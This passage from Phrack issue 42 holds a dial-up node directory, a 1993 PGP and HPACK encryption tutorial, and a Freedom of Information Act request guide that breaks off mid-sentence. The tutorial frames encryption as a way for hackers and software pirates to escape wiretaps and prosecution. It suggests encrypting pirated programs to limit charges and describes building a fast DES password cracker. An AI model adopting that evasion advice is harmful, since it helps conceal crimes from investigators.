510  CASFA (1-510+num)
408  CASJO
510  CASJO (1-510+num)
415  CASJO (1-415+num)
714  CASAN
310  CASAN (1-310+num)
213  CASAN (1-213+num)
206  WASEA
314  MOSLO
618  MOSLO (1-618+num)
813  FLTAM
202  DCWAS
703  DCWAS (1-703+num)
301  DCWAS (1-301+num)



  ************************End SprintNet Directory 92**************************

                                                                         -Sky



                              ==Phrack Magazine==

                 Volume Four, Issue Forty-Two, File 11 of 14


              ###################################################
              # The Paranoid Schizophrenics Guide to Encryption #
              #   (or How to Avoid Getting Tapped and Raided)   #
              ###################################################

                        Written by The Racketeer of
                            The /-/ellfire Club


        The purpose of this file is to explain the why and the how of Data
Encryption, with a brief description of the future of computer security,
TEMPEST.

        At the time of this issue's release, two of the more modern software
packages use encryption methods covered in this article, so exercise some of
your neurons and check into newer releases if they are available.  Methods
described in this file use PGP, covering an implementation of Phil Zimmermann's
RSA variant, and the MDC and IDEA conventional encryption techniques by using
PGP and HPACK.

                              --------------------
                              WHY DATA ENCRYPTION?
                              --------------------

        This isn't exactly the typical topic discussed by me in Phrack.
However, the importance of knowing encryption is necessary when dealing with
any quasi-legal computer activity.  I was planning on starting my series on
hacking Novell Networks (so non-Internet users can have something to do), but
recent events have caused me to change my mind and, instead of showing people
how to get into more trouble (well, okay, there is plenty of that in this file
too, since you're going to be working with contraband software), I've opted
instead to show people how to protect themselves from the long arm of the Law.

        Why all this concern?

        Relatively recently, The Masters of Deception (MoD) were raided by
various federal agencies and were accused of several crimes.  The crimes they
did commit will doubtlessly cause more mandates, making the already
too-outrageous penalties even worse.

        "So?" you might ask.  The MoD weren't exactly friends of mine.  In fact,
quite the contrary.  But unlike many of the hackers whom I dealt with in the
"final days" prior to their arrest, I bitterly protested any action against the
MoD.  Admittedly, I followed the episode from the beginning to the end, and the
moral arguments were enough to rip the "Hacker World" to pieces.  But these
moral issues are done, the past behind most of us.  It is now time to examine
the aftermath of the bust.

        According to the officials in charge of the investigation against MoD
members, telephone taps were used to gain evidence against members
successfully.  All data going in and out of their house was monitored and all
voice communications were monitored, especially between members.

        So, how do you make a line secure?  The party line answer is use of
effective encryption methods.

        Federal investigative agencies are currently pushing for more
technological research into the issue of computer security.  All of the popular
techniques which are being used by hackers today are being used by the
government's R&D departments.

        Over the course of the last 5 years, I've watched as the U.S.
Government went from a task force of nearly nil all the way to a powerful
marauder.  Their mission?  Unclear.  Regardless, the research being
accomplished by federally-funded projects dealing with the issues of computer
security are escalating.  I've personally joined and examined many such
conferences and have carefully examined the issues.  Many of these issues will
become future Phrack articles which I'll write.  Others, such as limited-life
semiconductors and deliberate telephone line noise sabotage caused by ACK
packet detections in order to drive telecommunication costs higher, are sadly
unpreventable problems of the future which won't be cured by simple awareness
of the problem.

        They have different names -- Computer Emergency Response Team (CERT),
Computer Assisted Security Investigative Analysis Tool (FBI's CASIAT), the
Secret Service's Computer Fraud Division, or the National Computer Security
Center (NSA's NCSC).  Scores of other groups exist for every network, even
every operating system.  Their goal isn't necessarily to catch hackers; their
goal is to acquire information about the act of hacking itself until it is no
longer is a problem.  Encryption stands in the way.

        Computer Security is literally so VAST a concept that, once a person
awakens to low-level computer mechanics, it becomes nearly impossible to
prevent that person from gaining unauthorized access to machines.  This is
somewhat contradictory to the "it's all social engineering" concept which we
have been hearing about on Nightline and in the papers.  If you can't snag them
one way though, you can get them another -- the fact is that computers are
still too damn vulnerable these days to traditional hacking techniques.

        Because of the ease of breaking through security, it becomes very
difficult to actually create an effective way to protect yourself from any form
of computer hacking.  Look at piracy:  they've tried every trick in the book to
protect software and, so far, the only success they have had was writing
software that sucked so much nobody wanted a copy.

        Furthermore, totally non-CPU related attacks are taking place.  The
passing of Anti-TEMPEST Protection Laws which prevent homes from owning
computers that don't give off RF emissions has made it possible for any Joe
with a few semesters of electrical engineering knowledge to rig together a
device that can read what's on your computer monitor.

     Therefore:

     Q:  How does a person protect their own computer from getting hacked?

     A:  You pretty much can't.

        I've memorized so many ways to bypass computer security that I can
rattle them off in pyramid levels.  If a computer is not even connected to a
network or phone line, people can watch every keystroke typed and everything
displayed on the screen.

        Why aren't the Fedz using these techniques RIGHT NOW?

        I can't say they are not.  However, a little research into TEMPEST
technology resulted in a pretty blunt fact:

        There are too many computer components to scan accurately.  Not the
monitor, oh no!  You're pretty much fucked there.  But accessories for input
and output, such as printers, sound cards, scanners, disk drives, and so
forth...the possibility of parallel CPU TEMPEST technology exists, but there are
more CPU types than any mobile unit could possibly use accurately.

        Keyboards are currently manufactured by IBM, Compaq, Dell, Northgate,
Mitsuma (bleah), Fujitsu, Gateway, Focus, Chichony, Omni, Tandy, Apple, Sun,
Packard-Bell (may they rot in hell), Next, Prime, Digital, Unisys, Sony,
Hewlett-Packard, AT&T, and a scattering of hundreds of lesser companies.  Each
of these keyboards have custom models, programmable models, 100+ key and < 100
key models, different connectors, different interpreters, and different levels
of cable shielding.

        For the IBM compatible alone, patents are owned on multiple keyboard
pin connectors, such as those for OS/2 and Tandy, as well as the fact that the
ISA chipsets are nearly as diverse as the hundreds of manufacturers of
motherboards.  Because of lowest-bid practices, there can be no certainty of
any particular connection -- especially when you are trying to monitor a
computer you've never actually seen!

        In short -- it costs too much for the TEMPEST device to be mobile and
to be able to detect keystrokes from a "standard" keyboard, mostly because
keyboards aren't "standard" enough!  In fact, the only real standard which I
can tell exists on regular computers is the fact that monitors still use good
old CRT technology.

        Arguments against this include the fact that most of the available PC
computers use standard DIN connectors which means that MOST of the keyboards
could be examined.  Furthermore, these keyboards are traditionally serial
connections using highly vulnerable wire (see Appendix B).

        Once again, I raise the defense that keyboard cables are traditionally
the most heavily shielded (mine is nearly 1/4 inch thick) and therefore falls
back on the question of how accurate a TEMPEST device which is portable can be,
and if it is cost effective enough to use against hackers.  Further viewpoints
and TEMPEST overview can be seen in Appendix B.

        As a result, we have opened up the possibility for protection from
outside interference for our computer systems.  Because any DECENT encryption
program doesn't echo the password to your screen, a typical encryption program
could provide reasonable security to your machine.  How reasonable?

        If you have 9 pirated programs installed on your computer at a given
time and you were raided by some law enforcement holes, you would not be
labeled at a felon.  Instead, it wouldn't even be worth their time to even raid
you.  If you have 9 pirated programs installed on your computer, had 200
pirated programs encrypted in a disk box, and you were raided, you would have
to be charged with possession of 9 pirated programs (unless you did something
stupid, like write "Pirated Ultima" or something on the label).

        We all suspected encryption was the right thing to do, but what about
encryption itself?  How secure IS encryption?

        If you think that the world of the Hackers is deeply shrouded with
extreme prejudice, I bet you can't wait to talk with crypto-analysts.  These
people are traditionally the biggest bunch of holes I've ever laid eyes on.  In
their mind, people have been debating the concepts of encryption since the dawn
of time, and if you come up with a totally new method of data encryption, -YOU
ARE INSULTING EVERYONE WHO HAS EVER DONE ENCRYPTION-, mostly by saying "Oh, I
just came up with this idea for an encryption which might be the best one yet"
when people have dedicated all their lives to designing and breaking encryption
techniques -- so what makes you think you're so fucking bright?

        Anyway, crypto-(anal)ysts tend to take most comments as veiled insults,
and are easily terribly offended.  Well, make no mistake, if I wanted to insult
these people, I'd do it.  I've already done it.  I'll continue to do it.  And I
won't thinly veil it with good manners, either.

        The field of Crypto-analysis has traditionally had a mathematical
emphasis.  The Beal Cipher and the German Enigma Cipher are some of the more
popular views of the field.  Ever since World War 2, people have spent time
researching how technology was going to affect the future of data encryption.

        If the United States went to war with some other country, they'd have a
strong advantage if they knew the orders of the opposing side before they were
carried out.  Using spies and wire taps, they can gain encrypted data referred
to as Ciphertext.  They hand the information over to groups that deal with
encryption such as the NSA and the CIA, and they attempt to decode the
information before the encrypted information is too old to be of any use.

        The future of Computer Criminology rests in the same ways.  The
deadline on white collar crimes is defaulted to about 3-4 years, which is
called the Statute of Limitations.  Once a file is obtained which is encrypted,
it becomes a task to decrypt it within the statute's time.

        As most crypto-analysts would agree, the cost in man-hours as well as
supercomputer time would make it unfeasible to enforce brute force decryption
techniques of random encryption methods.  As a result of this, government
regulation stepped in.

        The National Security Agency (referred to as "Spooks" by the relatively
famous tormenter of KGB-paid-off hackers, Cliff Stoll, which is probably the
only thing he's ever said which makes me think he could be a real human being)
released the DES -- Data Encryption Standard.  This encryption method was
basically solid and took a long time to crack, which was also the Catch-22.

        DES wasn't uncrackable, it was just that it took "an unreasonable
length of time to crack."  The attack against the word "unreasonable" keeps
getting stronger and stronger.  While DES originated on Honeywell and DEC PDPs,
it was rumored that they'd networked enough computers together to break a
typical DES encrypted file.  Now that we have better computers and the cost
requirements for high-speed workstations are even less, I believe that even if
they overestimated "unreasonable" a hundredfold, they'd be in the "reasonable"
levels now.

To explain how fast DES runs these days...

        I personally wrote a password cracker for DES which was arguably the
very first true high-speed cracker.  It used the German "Ultra-Fast Crypt"
version of the DES algorithm, which happened to contain a static variable used
to hold part of the previous attempt at encrypting the password, called the
salt.  By making sure the system wouldn't resalt on every password attempt, I
was able to guess passwords out of a dictionary at the rate of 400+ words per
second on a 386-25 (other methods at that time were going at about 30 per
second).  As I understand it now, levels at 500+ for the same CPU have been
achieved.

        Now this means I can go through an entire dictionary in about five
minutes on a DES-encrypted segment.  The NSA has REAL cash and some of the
finest mathematicians in the world, so if they wanted to gain some really
decent speed on encryption, DES fits the ideal for parallel programming.
Splitting a DES segment across a hundred CPUs, each relatively modern, they
could crank out terraflops of speed.  They'd probably be able to crack the code
within a few days if they wanted to.

        Ten years from now, they could do it in a few seconds.

        Of course, the proper way to circumnavigate DES encryption is to locate
and discover a more reliable, less popular method.  Because the U.S. Government
regulates it, it doesn't mean it's the best.  In fact, it means it's the
fucking lamest thing they could sweeten up and hope the public swallows it!
The last attempt the NSA made at regulating a standard dealing with encryption,
they got roasted.

        I'm somewhat convinced that the NSA is against personal security, and
from all the press they give, they don't WANT anyone to have personal security.
Neither does the Media for that matter.

        Because of lamers in the "Biblical Injustice Grievance Group of
Opposing Terrible Sacrilege" (or BIGGOTS) who think that if you violate a LAW
you're going to Hell (see APPENDIX C for my viewpoint of these people) and who
will have convinced Congress to pass ease-of-use wire taps on telephone lines
and networks so that they can monitor casual connections without search
warrants, encryption will be mandatory if you want any privacy at all.

        And to quote Phil Zimmermann, "If privacy is outlawed, only the
outlaws will have privacy."

        Therefore, encryption methods that we must use should be gathered into
very solid categories which do NOT have endorsement of the NSA and also have
usefulness in technique.

HOW TO USE DECENT ENCRYPTION:

(First, go to APPENDIX D, and get yourself a copy of PGP, latest version.)

        First of all, PGP is contraband software, presumably illegal to use in
the United States because of a patent infringement it allegedly carries.  The
patent infringement is the usage of a variant of the RSA encryption algorithm.
Can you patent an algorithm?  By definition, you cannot patent an idea, just a
product -- like source code.  Yet, the patent exists to be true until proven
false.  More examples of how people in the crypto-analyst field can be assholes.

        Anyway, Phil's Pretty Good Software, creators of PGP, were sued and all
rights to PGP were forfeited in the United States of America.  Here comes the
violation of the SECOND law, illegal exportation of a data encryption outside
of the United States of America.  Phil distributed his encryption techniques
outside the USA, which is against the law as well.  Even though Mr. Zimmermann
doesn't do any work with PGP, because he freely gave his source code to others,
people in countries besides the United States are constantly updating and
improving the PGP package.

        PGP handles two very important methods of encryption -- conventional
and public key.  These are both very important to understand because they
protect against completely different things.

                            -----------------------
                            CONVENTIONAL ENCRYPTION
                            -----------------------

        Conventional encryption techniques are easiest to understand.  You
supply a password and the password you enter encrypts a file or some other sort
of data.  By re-entering the password, it allows you to recreate the original
data.

        Simple enough concept, just don't give the password to someone you
don't trust.  If you give the password to the wrong person, your whole business
is in jeopardy.  Of course, that goes with just about anything you consider
important.

        There are doubtlessly many "secure enough" ciphers which exist right
now.  Unfortunately, the availability of these methods are somewhat slim
because of exportation laws.  The "major" encryption programs which I believe
are worth talking about here are maintained by people foreign to the USA.

        The two methods of "conventional" encryption are at least not DES,
which qualifies them as okay in my book.  This doesn't mean they are impossible
to break, but they don't have certain DES limitations which I know exist, such
as 8 character password maximum.  The methods are:  MDC, as available in the
package HPACK; and IDEA, as available in Pretty Good Privacy.

        Once you've installed PGP, we can start by practicing encrypting
some typical files on your PC.  To conventionally encrypt your AUTOEXEC.BAT
file (it won't delete the file after encryption), use the following command:

C:\> pgp -c autoexec.bat
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/19 03:06 GMT

You need a pass phrase to encrypt the file.
Enter pass phrase:                                      { Password not echoed }
Enter same pass phrase again: Just a moment....
Ciphertext file: autoexec.pgp

C:\> dir

 Volume in drive C is RACK'S
 Directory of  c:\autoexec.pgp

autoexec.pgp      330 1-18-93  21:05

        330 bytes in 1 file(s)          8,192 bytes allocated
  52,527,104 bytes free

        PGP will compress the file before encrypting it.  I'd say this is a
vulnerability to the encryption on the basis that the file contains a ZIP file
signature which could conceivably make the overall encryption less secure.
Although no reports have been made of someone breaking PGP this way, I'd feel
more comfortable with the ZIP features turned off.  This is somewhat contrary
to the fact that redundancy checking is another way of breaking ciphertext.
However, it isn't as reliable as checking a ZIP signature.

        Although PGP will doubtlessly become the more popular of the two
programs, HPACK's encryption "strength" is that by being less popular, it will
probably not be as heavily researched as PGP's methods will be.  Of course, by
following PGP, new methods of encryption will doubtlessly be added as the
program is improved.

        Here is how you'd go about encrypting an entire file using the HPACK
program using the MDC "conventional" encryption:

C:\> hpack A -C secret.hpk secret.txt
HPACK - The multi-system archiver Version 0.78a0 (shareware version)
For Amiga, Archimedes, Macintosh, MSDOS, OS/2, and UNIX
Copyright (c) Peter Gutmann 1989 - 1992.  Release date: 1 Sept 1992

Archive is 'SECRET.HPK'

Please enter password (8..80 characters):
Reenter password to confirm:
Adding SECRET  .TXT

Done

        Anyway, I don't personally think HPACK will ever become truly popular
for any reason besides its encryption capabilities.  ZIP has been ported to an
amazing number of platforms, in which lies ZIP's encryption weakness.  If you
think ZIP is safe, remember that you need to prevent the possibility of four
years of attempted password cracking in order to beat the Statutes of
Limitations:

        Here is the introduction to ZIPCRACK, and what it had to say about how
easy it is to break through this barrier:

(Taken from ZIPCRACK.DOC)
-----
     ZIPCRACK is a program designed to demonstrate how easy it is to find
passwords on files created with PKZIP.  The approach used is a fast,
brute-force attack, capable of scanning thousands of passwords per second
(5-6000 on an 80386-33).  While there is currently no known way to decrypt
PKZIP's files without first locating the correct password, the probability that
a particular ZIP's password can be found in a billion-word search (which takes
about a day on a fast '486) is high enough that anyone using the encryption
included in PKZIP 1.10 should be cautious (note:  as of this writing, PKZIP
version 2.00 has not been released, so it is not yet known whether future
versions of PKZIP will use an improved encryption algorithm).  The author's
primary purpose in releasing this program is to encourage improvements in ZIP
security.  The intended goal is NOT to make it easy for every computer user to
break into any ZIP, so no effort has been made to make the program
user-friendly.
----- End Blurb

        Likewise, WordPerfect is even more vulnerable.  I've caught a copy of
WordPerfect Crack out on the Internet and here is what it has to say about
WordPerfect's impossible-to-break methods:

(Taken from WPCRACK.DOC:)
-----
WordPerfect's manual claims that "You can protect or lock your documents with a
password so that no one will be able to retrieve or print the file without
knowing the password - not even you," and "If you forget the password, there is
absolutely no way to retrieve the document."  [1]

Pretty impressive!  Actually, you could crack the password of a Word Perfect
5.x file on a 8 1/2" x 11" sheet of paper, it's so simple.  If you are counting
on your files being safe, they are NOT.  Bennet [2] originally discovered how
the file was encrypted, and Bergen and Caelli [3] determined further
information regarding version 5.x.  I have taken these papers, extended them,
and written some programs to extract the password from the file.
----- End Blurb

                             ---------------------
                             PUBLIC KEY ENCRYPTION
                             ---------------------

        Back to the Masters of Deception analogy -- they were telephone
tapped.  Conventional encryption is good for home use, because only one person
could possibly know the password.  But what happens when you want to transmit
the encrypted data by telephone?  If the Secret Service is listening in on your
phone calls, you can't tell the password to the person that you want to send
the encrypted information to.  The SS will grab the password every single time.

        Enter Public-Key encryption!   The concepts behind Public-Key are very
in-depth compared to conventional encryption.  The idea here is that passwords
are not exchanged; instead a "key" which tells HOW to encrypt the file for the
other person is given to them.  This is called the Public Key.

        You retain the PRIVATE key and the PASSWORD.  They tell you how to
decrypt the file that someone sent you.  There is no "straight" path between
the Public Key and the Private Key, so just because someone HAS the public key,
it doesn't mean they can produce either your Secret Key or Password.  All it
means is that if they encrypt the file using the Public Key, you will be able
to decrypt it.  Furthermore, because of one-way encryption methods, the output
your Public Key produces is original each time, and therefore, you can't
decrypt the information you encrypted with the Public Key -- even if you
encrypted it yourself!

        Therefore, you can freely give out your own Public Key to anyone you
want, and any information you receive, tapped or not, won't make a difference.
As a result, you can trade anything you want and not worry about telephone
taps!  This technique supposedly is being used to defend the United States'
Nuclear Arsenal, if you disbelieve this is secure.

        I've actually talked with some of the makers of the RSA "Public-Key"
algorithm, and, albeit they are quite brilliant individuals, I'm somewhat
miffed at their lack of enthusiasm for aiding the public in getting a hold of
tools to use Public Key.  As a result, they are about to get railroaded by
people choosing to use PGP in preference to squat.

        Okay, maybe they don't have "squat" available.  In fact, they have a
totally free package with source code available to the USA public (no
exportation of code) which people can use called RSAREF.  Appendix E explains
more about why I'm not suggesting you use this package, and also how to obtain
it so you can see for yourself.

        Now that we know the basic concepts of Public-Key, let's go ahead and
create the basics for effective tap-proof communications.

Generation of your own secret key (comments in {}s):

C:\> pgp -kg               {  Command used to activate PGP for key generation }
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/18 19:53 GMT

Pick your RSA key size:
        1)       384 bits- Casual grade, fast but less secure
        2)       512 bits- Commercial grade, medium speed, good security
        3)      1024 bits- Military grade, very slow, highest security
Choose 1, 2, or 3, or enter desired number of bits: 3  {DAMN STRAIGHT MILITARY}

Generating an RSA key with a 1024-bit modulus...
You need a user ID for your public key.  The desired form for this
user ID is your name, followed by your E-mail address enclosed in
<angle brackets>, if you have an E-mail address.
For example:  John Q. Smith <[e-mail]>

Enter a user ID for your public key:
The Racketeer <[e-mail]>

You need a pass phrase to protect your RSA secret key.
Your pass phrase can be any sentence or phrase and may have many
words, spaces, punctuation, or any other printable characters.
Enter pass phrase:                                     { Not echoed to screen }
Enter same pass phrase again:                          {  "    "    "    "    }
Note that key generation is a VERY lengthy process.

We need to generate 105 random bytes.  This is done by measuring the
time intervals between your keystrokes.  Please enter some text on your
keyboard, at least 210 nonrepeating keystrokes, until you hear the beep:
1 .*                                                             { decrements }
-Enough, thank you.
...................................................++++ ........++++
Key generation completed.

        It took a 33-386DX a grand total of about 10 minutes to make the key.
Now that it has been generated, it has been placed in your key ring.  We can
examine the key ring using the following command:

C:\> pgp -kv
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/18 20:19 GMT

Key ring: 'c:\pgp\pubring.pgp'
Type bits/keyID   Date       User ID
pub  1024/7C8C3D  1993/01/18 The Racketeer <[e-mail]>
1 key(s) examined.

        We've now got a viable keyring with your own keys.  Now, you need to
extract your Public Key so that you can have other people encrypt shit and have
it sent to you.  In order to do this, you need to be able to mail it to them.
Therefore, you need to extract it in ASCII format.  This is done by the
following:

C:\> pgp -kxa "The Racketeer <[e-mail]>"
Pretty Good Privacy 2.1 - Public-key encryption for the masses
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/18 20:56 GMT

Extracting from key ring:  'c:\pgp\pubring.pgp', userid "The Racketeer
<[e-mail]>".

Key for user ID: The Racketeer <[e-mail]>
1024-bit key, Key ID 0C975F, created 1993/01/18

Extract the above key into which file? rackkey

Transport armor file: rackkey.asc

Key extracted to file 'rackkey.asc'.

        Done.  The end result of the key is a file which contains:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.1

mQCNAisuyi4AAAEEAN+cY6nUU+VIhYOqBfcc12rEMph+A7iadUi8xQJ00ANvp/iF
+ugZ+GP2ZnzA0fob9cG/MVbh+iiz3g+nbS+ZljD2uK4VyxZfu5alsbCBFbJ6Oa8K
/c/e19lzaksSlTcqTMQEae60JUkrHWpnxQMM3IqSnh3D+SbsmLBs4pFrfIw9AAUR
tCRUaGUgUmFja2V0ZWVyIDxyYWNrQGx5Y2FldW0uaGZjLmNvbT4=
=6rFE
-----END PGP PUBLIC KEY BLOCK-----

        This can be tagged to the bottom of whatever E-Mail message you want to
send or whatever.  This key can added to someone else's public key ring and
thereby used to encrypt information so that it can be sent to you.  Most people
who use this on USENET add it onto their signature files so that it is
automatically posted on their messages.

        Let's assume someone else wanted to communicate with you.  As a result,
they sent you their own Public Key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.1

mQA9AitgcOsAAAEBgMlGLWl8rub0Ulzv3wpxI5OFLRkx3UcGCGsi/y/Qg7nR8dwI
owUy65l9XZsp0MUnFQAFEbQlT25lIER1bWIgUHVkIDwxRHVtUHVkQG1haWxydXMu
Yml0bmV0Pg==
=FZBm
-----END PGP PUBLIC KEY BLOCK-----

        Notice this guy, Mr. One Dumb Pud, used a smaller key size than you
did.  This shouldn't make any difference because PGP detects this
automatically.  Let's now add the schlep onto your key ring.

C:\> pgp -ka dumbpud.asc
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/22 22:17 GMT

Key ring: 'c:\pgp\pubring.$01'
Type bits/keyID   Date       User ID
pub   384/C52715  1993/01/22 One Dumb Pud <[e-mail]>

New key ID: C52715

Keyfile contains:
   1 new key(s)
Adding key ID C52715 from file 'dumbpud.asc' to key ring 'c:\pgp\pubring.pgp'.

Key for user ID: One Dumb Pud <[e-mail]>
384-bit key, Key ID C52715, crated 1993/01/22
This key/userID associate is not certified.

Do you want to certify this key yourself (y/N)?  n {We'll deal with this later}

        Okay, now we have the guy on our key ring.  Let's go ahead and encrypt
a file for the guy.  How about having the honor of an unedited copy of this
file?

C:\> pgp -e encrypt One                     {PGP has automatic name completion}
Pretty Good Privacy 2.1 - Public-key encryption for the masses.
(c) 1990-1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92
Date: 1993/01/22 22:24 GMT


Recipient's public key will be used to encrypt.
Key for user ID: One Dumb Pud <[e-mail]>
384-bit key, Key ID C52715, created 1993/01/22

WARNING:  Because this public key is not certified with a trusted
signature, it is not known with high confidence that this public key
actually belongs to: "One Dumb Pud <[e-mail]>".

Are you sure you want to use this public key (y/N)? y
------------------------------------------------------------------------------
                              ==Phrack Magazine==

                  Volume Four, Issue Forty-Two, File 12 of 14


                  %@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                  | The Freedom of Information Act and You  |
                  |                                         |
                  |                   by                    |
                  |               Vince Niel                |
                  |                                         |
                  %@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%


    As we all know of our United State government in the modern era, Big
Brother is watching.  It is naive to think that we do not live in a world
similar to the one described is George Orwell's novel, 1984.  The government
keeps tabs on everything we do.  The federal government has thousands of
documents concerning individual citizens.  For example:

If you have worked for a federal agency or government contractor or have been
a member of any branch of the armed services, the federal government has a
file on you.

If you have participated in any federally financed project, some agency
probably has a record of it.

If you have been arrested by local, state or federal authorities and your
fingerprints were taken, the FBI maintains a record of you and that arrest.

If you have applied for or received a student loan or grant certified by the
government, the Department of Health, Education, and Welfare has recorded the
information.

If you have applied for or been investigated for a security clearance for any
reason, the Department of Defense has a record of you.

    And these records are not just records of application.  Take for example
the FBI.  Once you commit a crime, they are watching you.  They update your
file every time there is a major occurrence in your life i.e. marriage,
hospitalization, joining the military, committing another crime, etc.  If they
find the least likelihood of suspicion, they investigate you in depth to add
even more to your file.  People do not even realize how large their FBI file
is.

    If you were ever on a pirate board that got busted, and you had your info
on there, all the users' info on the bulletin board is transferred to the
federal government.  There a file is opened up for each individual user.  And
if you ever get in trouble with the law, that file will be opened up and used
against you if necessary.  Before I continue, I would like to site an example
of a man who ordered his file from the army.  This file was created when he
applied for a security clearance with the military years before.  In it said:

...  He owed 50 cents to his high school for not returning his locker key.
...  He dated 2 or 3 times a week, and was not intimate with his dates.
...  He was irresponsible because he owed a $5 jaywalking ticket in Seattle.

    So what can you do about this big bureaucratic machine we call our
government?  Simple, fight back!  The Freedom of Information Act (FOIA as it
will be referred to) was passed and allows you to obtain your personal records
from any governmental agency.  A typeup of most of the agencies plus the
actual act can be found at the end of this file.

    There are restrictions to the act, but it can be quite useful to any
individual who has had run-ins with the law or who just wants to know what the
federal government has on him.  You can even go to court against the
government if a document is denied to you and you think you deserve to see it.
The act is not widely know, and for good reason.  The government doesn't want
you to know what they are doing.  But alas, the information will be set free,
the people have a right to know!

    And don't think that the only interesting documents are the ones from the
FBI and CIA.  Fascinating documents can be gotten from the IRS, Department of
Health, Department of Schools, Federal Traffic Administration, HUD, National
Credit Union, with information you will never believe people who actually
store about you.


    The Specifics of Asking For Your Personal File From a Particular Agency
    -----------------------------------------------------------------------

    First of all, I would like to bring up a major misconception people make.
Most people assume that if you ask for your file from the FBI, and there isn't
a file on you, one will be created for you.  That is an untrue and extremely
paranoid statement.  The government has better things to do then open up files
on curious citizens.  And even if by some remote chance they do open up a file
for you, who cares?  They have a files on millions of people, its not like it
will hinder you in life.  Just be careful out there, that is all I can say.

    The most important thing that can be done when asking for information from
a governmental agency under the FOIA is to make it as brief, concise, and
specific as possible.  In this way, you will get your information, or refusal
as soon as possible, and you will also curb copying fees (which will be
discussed later).  First you have to find the agency that concerns you.  If
you are not sure which agency to apply to, send your letter to more than one.
There will be a list of agencies at the end of this file, but a complete list
of agencies can be found in the United States Government Manual.  This can be
found at any library.

    The request should be addressed to the agency's FOIA officer or to the
head of the specific agency.  Most agencies have a secretary to deal with all
the FOIA applications.  The smaller agencies, which you probably will not be
concerned with, might not have an officer.  On the bottom left hand corner of
the envelope "Freedom of Information Act Request" should be printed legibly.
This guarantees that your letter won't get caught in the paperwork shuffle.

    All agencies has FOIA regulation that you should look at.  They do not
want to send out 'sensitive' documents and whatnot.  These regulations also
describe the request process in detail.  Here you can also find out what
specific document you are looking for, reducing fees from the agency.  These
regulations can be found in "The Code of Federal Regulations", which can also
be found at your local library.

    Most agencies require that you get your letter 'notarized' or they won't
even look at it.  This prevents you from impersonating someone else and
getting their file.  To get your letter notarized, all you have to do is go to
your local bank.  Show some proof that the person signing the letter is you
(with an id or something) and they will notarize it.  Now the government has
no excuse for not taking your letter.
There are four parts to an FOIA request letter:

    1) Request being made under the FOIA.
    2) Records that are sought, as specifically as possible.
    3) Name and address of the person requesting the information.  Telephone
       number is not necessary, but you will find out about the outcome of
       your request much quicker.
    4) How much money you are willing to spend for the document (explained
       later).

Here is a sample letter, just fill in your information:

-----------------------------------------------------------------------------

Agency Head [or Freedom of Information Act Officer]
Name of Agency
Address of Agency
City, State, Zip Code

Re: Freedom of Information Act Request

    I request a copy of the following documents [or documents containing the
following information if you do not know the specific name of the document] be
provided for me: [identify the documents as accurately as possible]

    In order to help determine my status to assess fees, you should know that
I am an individual seeking information for personal use and not for commercial
use.  [always, always say you are an individual.  That way, you will not have
to pay extra fees because you are part of the media or a commercial endeavor.]

    [Optional] I am willing to pay fees for this request up to a maximum of
$__.  If you estimate the fees will exceed this limit, please inform me first.

    [Optional] I request a waiver of all fees for this request.  Disclosure of
the requested information to me is in the public interest because it is likely
to contribute significantly to public understanding of the operations or
activities  of the government and is not primarily in my commercial interest
[include specific information].

    Thank you for your consideration of this request.

                    Sincerely,

                    Name
                    Address
                    City, State, Zip Code
                    Telephone Number [Optional]
-----------------------------------------------------------------------------

Some of the things in the letter may not be understood at first, but I will
get to them.


Money:

    As you might have guessed, getting information under the FOIA is not free,
but it can be cheapened if you play your cards right.  As specified in the
letter, always say that you are an individual seeking information not for
commercial purposes.  Review is the process of going through documents and
checking if they can be sent to you or not.  Under the law, if you are a
private individual and are not requesting information for commercial purposes,
you cannot be charged with review fees!

    All agencies have set fees for copying a document.  Fees can also be taken
for searching for a document.  If you are an individual, you will be charged
the least amount of money.  Of course, if you have no idea in hell what the
name of the document is, and you are stabbing in the dark it is a good idea to
write in a set amount you are willing to spend.  When the amount is reached,
you will be notified.  This is in the letter above.

    You don't want to be jacked for a bill of 150 bucks if you send them a
letter 'just send me everything you got on me'.  Even if you have no idea what
they have, you can say 'please send me all the dossiers, legal documents, and
records you have under my name'.  Remember, the government likes bureaucratic
bullshit.  If you do not phrase you letter right, they will nail you on it.  A
lot of agencies will waive the cost of processing if it is under $3, and even
if you receive a bill, it should not exceed 5-10 dollars.

    If you can somehow prove that by accessing this information, it will help
the general public understand how the government works, you can waive the fee
altogether.  If through some form of shrewd doublespeak you can think of
something clever to satisfy this obligation, you can then request huge amounts
of documents, without paying a cent for them.

Restrictions:

    Of course, there are restrictions to the Freedom of Information Act.  Some
documentation may be said to be sensitive and out of reach of the public eye.
Any refusal to grant information through the FOIA may be taken to court, and
won.  In the act, it states that cases brought up because of the FOIA should
be put first on the court docket and tried as soon as possible.  Its always
worth a try.

    When a record contains some information that is withheld, it does not
necessarily mean that the whole record is exempt.  The federal agency is
obliged to cut out the portion that is sensitive, and send you the portion it
can disclose.  The agency must also give you a reason why it cut out this
portion of the document.

Here are a few of the reasons for exemption:

1) Classified Documents - Classified Documents may be withheld.  The documents
   may be classified in the interest of national defense and foreign policy.
   Classified documents may still be requested.  The agency will review the
   document to determine whether it still needs protection.  If a requested
   document is already declassified, it can be easily requested.

2) Internal Personal Rules and Practices - This exemption covers matters
   related to an agency's internal rules and practices.  Requests for Internal
   schedules, administrative manuals and the like can be refused.

3) Confidential Business Information - Trade secrets or commercially valuable
   plans do not have to be released.  Commercial or financial information does
   not also have to be released, as it might hurt an individual.

4) Personal Privacy - This covers personnel, medical, and similar files of
   which disclosed would interfere with personal privacy.  This exemption has
   importance because it prevents a commercial business from getting
